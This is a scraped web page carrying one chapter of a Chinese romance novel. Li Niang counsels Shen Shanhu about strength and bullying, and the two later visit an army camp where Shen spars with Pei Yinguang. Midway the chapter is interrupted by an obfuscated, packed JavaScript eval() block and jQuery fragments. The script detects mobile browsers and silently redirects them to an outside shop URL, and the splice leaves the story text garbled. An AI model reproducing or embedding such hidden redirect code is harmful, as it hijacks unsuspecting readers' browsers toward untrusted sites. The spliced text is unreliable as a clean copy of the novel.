文趣网 > 其他小说 > 小叔他又争又抢 > 15. 第 15 章
    “什么为什么?”

    栗娘奇怪地看着她,将针尖在自己头上刮了刮。

    “就是......你这么弱,人家不会看不起你吗?他们不会嘲笑你吗?”

    沈珊瑚有些语无伦次。

    “会啊。”栗娘低下头,继续穿针,“可多人嘲笑我了。”

    “那你不应该强大起来,狠狠地打他们的脸吗?”沈珊瑚激动地站起来,浑身的力气像是没处使似的,挥舞着胳膊。

    “然后呢?”栗娘问。

    “然后?然后你就强大了,没有人敢欺负你了呀!”沈珊瑚恨铁不成钢。

    “没有更强大的人欺负你了吗?”栗娘反问。

    沈珊瑚哑口。

    怎么可能没有?到了金陵,她发现除了明处的冷落嘲讽,更有无数暗处的阴阳怪气。

    也因此,来金陵一年,她连个说话的人都没有,只能找机会去寻军营里的裴引光对战。

    可爹又觉得她年纪渐渐大了,不能再像小时候那样和男人厮混,要学着交些闺阁好友。

    她日日坐在家中无所事事,如今栗娘来了,她才算有个说话的人。

    她有些气馁地重新坐下,“肯定是因为我不够强大,才会让那些人再有欺负我的机会。”

    “那照你这样想,你弱小时,别人欺负你,是件理所应当的事情咯?”

    “当然不是!”沈珊瑚看向栗娘。

    她仍低着头缝线,十分认真地样子,

    “是那些欺负你的人的错是不是?”栗娘抬头,对上她的眼睛,笑了一下。

    “......是、是啊。”不知为何,沈珊瑚目光有些闪躲。

    “所以啊,别人欺负你,你觉得是自己不够强大,所以受人欺负,你又用他们的逻辑来欺负你自己。”栗娘像哄孩子似的语气。

    沈珊瑚有些茫然,“那我变强这件事不对吗?”

    “对。也不对。”栗娘说,“变强是为了更好的自己,不是为了别人不欺负你。如果你抱着当你更强大,别人就不会欺负你的想法的时候,本质上是你不自信,需要外界的强大认可获得自信。”

    沈珊瑚听了半响,有些绕,不说话了。

    说实话,栗娘听自己讲这一段,也觉得自己实在太像学堂的夫子了,好古板啊。

    不过,最重要的是,她其实是想反驳沈珊瑚说她弱这一段。

    她从不认为自己弱,强和弱是一种相对概念,强的人难道没有脆弱的地方?说不定,看着外表强悍的人,内心脆弱的和婴儿一样。而外表柔弱的人,内心却十分坚韧。

    比如她这样的,看着柔柔弱弱,实则就想过好日子,什么样的事情也不会改变她想过好日子的事实。

    这个想法坚韧的很!

    “我听不懂你说的。”沈珊瑚趴在桌子上,“我没怎么读过书,不过认得几个字罢了。”

    “我知道。”栗娘说,“要不要我教你?”

    “不要!”沈珊瑚立时拒绝,“烧脑子,我不要!”

    栗娘笑了,“随你。”

    接下来的几天里,栗娘坚守不出门的规矩,生怕再碰上上次那个“买家”,更怕遇见别的人认出她。

    心中一直记挂着问裴引光天香楼事件的处理后续,但偏偏他一直在军营里,很晚才回来,那时栗娘又不便去寻,于是一拖再拖。

    在重阳的前一日,一直憋在府里的沈珊瑚也闷坏了。

    这段时间,她试图学着栗娘,做一个闺阁女儿的样子,学着栗娘绣花、缝衣裳、做鞋子,又跟着她写大字、研究熏香。

    她发现栗娘实在是一个自己就能找到无数乐趣的人,无论做什么她都觉得快乐,然后津津乐道,与她说出个一二三来。

    而她呢?绣花绣的歪歪扭扭,缝衣也缝的乱七八糟,更别提写大字,居然要从握毛笔的姿势开始纠正,一连握了几日的笔,她本就丑的字更是写的乱七八糟。

    还有那熏香,刚一摆出来她就狂打喷嚏,将那些花喷的到处都是,混作一团。

    她都不好意思,栗娘倒是很耐心,说:“大家都是这样开始的。我小时刚学写大字,先要握笔,写字还要慢慢地、一笔一划。我急着出去玩儿,根本没有耐心,胡乱划成一坨,就跑出去玩儿了。第二日交给夫子看时,才发现我连墨迹都没有干就将纸叠在一块儿,字都洇过去,黑糊糊的,一个字也认不出。”

    “之后呢?”沈珊瑚问。

    “之后,先生打了我好几个板子,回去我就和我娘告状,让她换个夫子。谁知我娘一点都不心疼我,又去找我爹告状,又挨了几板子,可委屈死我了。”

    沈珊瑚听乐了。

    “晚上的时候,我娘一边给我上药,一边和我说,写不好没关系,但不能敷衍。又不是叫你一口吃成大胖子,慢慢地写,有什么关系呢?再然后,我的字就写的还可以啦。”

    栗娘安慰沈珊瑚,“所以,你想学就慢慢学,接受自己有个不好的过程,有耐心一点。”

    沈珊瑚瞅了两眼被自己练过字就丢一旁的大字,又看一眼绣了两针被扔开的绣绷,叹气道,“其实,我觉得我对这些都没有兴趣,我就爱舞枪弄棒的。”

    “那就去舞枪弄棒。”栗娘说的很果断,“没人要求一定要学这些才是闺阁小姐,舞枪弄棒的一样是!”

    她这样一说,顿时戳中沈珊瑚的心。

    她道:“我早想好久了,我们去军营吧?”

    “啊?”栗娘傻了眼。

    “在府里呆着太无聊了,你教的那些,我全部都不感兴趣,我想去找人打架!”沈珊瑚眼睛放光,“我想去擂台上拳拳到肉!”

    “走吧!我们去找引光哥哥吧!”

    栗娘:“......”

    但是她不想啊!

    由不得她拒绝,当下有了想法,她就跑去林太太处请示。

    林太太巴不得她和裴引光多多接触,爽快地答应了。

    栗娘又被当做定海神针,拉着一同去军营。

    马车上,栗娘一直叹气。

    那臭烘烘的地方,到底有什么意思?

    裴引良在时,她也跟着去过一次军营,正遇上士兵训练,领头的喊口号,士兵“轰、哈”叫着,震天的声响将大地都踩的振动,声音吼的人耳膜都发胀。凶煞气简直从头顶冒到天空,形成具象可见的黑云。

    除了吵闹,剩余的感受就是脏、臭。

    偌大的太阳挂在头顶,身上还披着战甲,泥土、灰尘和汗水在皮肤表面发酵,浓烈的气味熏的人几欲作呕。

    所以也只去过一次,再不去了。

    沈珊瑚倒是兴奋,带着栗娘直奔军营。

    正好今日是节前最后一日的比斗。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678921|207616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    裴引光让所有士兵一对一比试,胜者再比,再胜者再比,万进千,千进百,百进十,最后这十人可获得十两银子的奖励,而且会有一个荣誉,称为重阳勇士。

    每年只在重阳节前比试一次,奖励虽不很丰厚,主要是选拔士兵中出挑的人才,对军功晋升有很大帮助,又能在将军面前露脸,实在吸引人。

    两人到时,比斗已经落幕,十名重阳勇士中,有人向裴引光发起挑战。

    所有人都被打斗激发了血气,欢呼着让裴引光迎战。

    出于这种氛围,裴引光也确实上场了。

    栗娘在齐承的引导下下马车,看见的就是这样一副场景——

    少年赤裸着肩背,湿漉漉的长发像蛇一样攀岩在他的后背,古铜色的肌肤肌肉虬结,豆大的汗珠凝结,欲落不落。

    沈珊瑚登时眼睛一亮,跳下马车,几步上前就踏上擂台。

    “引光哥哥,与我打一场!”

    裴引光没想到她来了,心有所感,扭头一看,一辆马车下,栗娘正在和齐承说些什么,微笑着点头。

    似是察觉到他的目光,扭头对上他的视线。

    紧接着,她像是被烫着一眼,脸飞红霞,将目光收了回去。

    裴引光盯着她绯红的脸颊,一时有些怔愣。

    见他不理自己,沈珊瑚双眸一眯,伸手就像他的面门锤去。

    裴引光感受到拳气,偏头让开,沈珊瑚紧随其后,扭头攻向他的下盘。

    裴引光依旧避让。

    “出招呀!”沈珊瑚喊道。

    “我没说和你打。”裴引光道。

    “哼!”沈珊瑚十分生气,“看不起我?”

    说着,一记扫堂腿,配合螳螂拳,逼得他出手防护。

    “没有,你先别打,嫂嫂来了。”

    裴引光蹙着眉,左支右挡,想要离开擂台。

    沈珊瑚怎么可能放他走,伸手抓住他赤裸的肩膀,翻身挡在他的面前,依旧拳拳到肉。

    “我知道,我叫她来的,你先和我打完,否则我不让你下去。”

    裴引光实在没有办法,只好和她对打起来。

    台下,齐承将栗娘引到阴凉处,又叫人给她端来桌椅茶水,好似郊游一般。

    栗娘有些不好意思,“哪里要这样伺候,我站一会儿也行。”

    齐承道:“一会儿可能不行,沈小姐缠上二爷,没有两刻钟停不下来。”

    “这样久?”栗娘有些讶异,“她撑得住么?”

    齐承笑了,“沈小姐就喜欢累到起不来的感觉,第二日又爬起来找二爷打,二爷都烦她了。”

    栗娘也笑了,坐下观看二人打架。

    两人的拳脚都是专门练过的,出招极快,拆招也快,几乎只能看见残影。

    齐承看出栗娘看不大懂,贴心地伏在她身侧小声为她讲解。

    栗娘经过他这样一讲解,才算懂得他们动作里的门道。

    “这样厉害啊?我都不懂这些呢。”

    “这不算什么,多看看就知道了。”

    两人时时小声私语,台上的裴引光余光扫到,心中难得生出几分急切起来。

    沈珊瑚打的很认真,抓住他的空档,一脚踹中他的的后膝,站在他的身后死死扣住他的脖子。

    “哈!你输了。”她洋洋得意地说。